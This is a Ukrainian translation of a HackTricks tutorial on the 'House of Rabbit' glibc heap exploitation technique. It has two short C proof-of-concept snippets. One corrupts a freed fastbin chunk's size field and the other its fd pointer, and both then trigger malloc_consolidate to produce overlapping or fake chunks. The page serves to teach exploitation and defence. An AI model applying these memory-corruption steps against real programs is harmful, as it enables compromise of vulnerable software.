7.8 KiB
Будинок кролика
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Вимоги
- Можливість змінювати вказівник fd або розмір fast bin: Це означає, що ви можете змінити впередній вказівник шматка в fastbin або його розмір.
- Можливість викликати
malloc_consolidate
: Це можна зробити або виділивши великий шматок, або об'єднавши верхній шматок, що змушує купу об'єднувати шматки.
Цілі
- Створення перекриваючихся шматків: Мати один шматок, який перекривається з іншим, що дозволяє подальші маніпуляції купою.
- Фальшиві шматки: Обманути алокатор, щоб він розглядав фальшивий шматок як законний під час операцій з купою.
Кроки атаки
POC 1: Зміна розміру шматка fast bin
Мета: Створення перекриваючого шматка шляхом маніпулювання розміром шматка fastbin.
- Крок 1: Виділення шматків
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- Крок 2: Звільнення чанків
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
- Крок 3: Змінити Розмір Частини
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Ми змінюємо метадані розміру chunk1
на 0xa1. Це ключовий крок для обману алокатора під час консолідації.
- Крок 4: Викликати
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Виділення великого фрагмента спричиняє виклик функції malloc_consolidate
, яка об'єднує невеликі фрагменти у швидкому блоці. Змінений розмір chunk1
призводить до перекриття з chunk2
.
Після консолідації chunk1
перекривається з chunk2
, що дозволяє подальшу експлуатацію.
POC 2: Зміна вказівника fd
Мета: Створення фальшивого фрагмента шляхом маніпулювання вказівником fd
швидкого блоку.
- Крок 1: Виділення фрагментів
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Пояснення: Ми виділяємо два блоки, один менший і один більший, щоб налаштувати купу для фальшивого блоку.
- Крок 2: Створення фальшивого блоку
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- Крок 3: Звільнення
chunk1
free(chunk1); // Frees the chunk at 0x602000
Пояснення: Ми вивільняємо chunk1
, додаючи його до списку fastbin.
- Крок 4: Змінюємо
fd
chunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Пояснення: Ми змінюємо вказівник вперед (fd
) chunk1
, щоб він вказував на наш фальшивий чанк всередині chunk2
.
- Крок 5: Викликати
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Виділення великого шматка знову спричинює виклик malloc_consolidate
, який обробляє фейковий шматок.
Фейковий шматок стає частиною списку fastbin, роблячи його законним шматком для подальшої експлуатації.
Огляд
Техніка House of Rabbit включає в себе зміну розміру шматка fast bin для створення перекриваючихся шматків або маніпулювання вказівником fd
для створення фейкових шматків. Це дозволяє зловмисникам фальшивити законні шматки в купі, що дозволяє різноманітні форми експлуатації. Розуміння та практика цих кроків покращить ваші навички експлуатації купи.
{% hint style="success" %}
Вивчайте та практикуйте Хакінг AWS:Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте Хакінг GCP: Навчання HackTricks GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.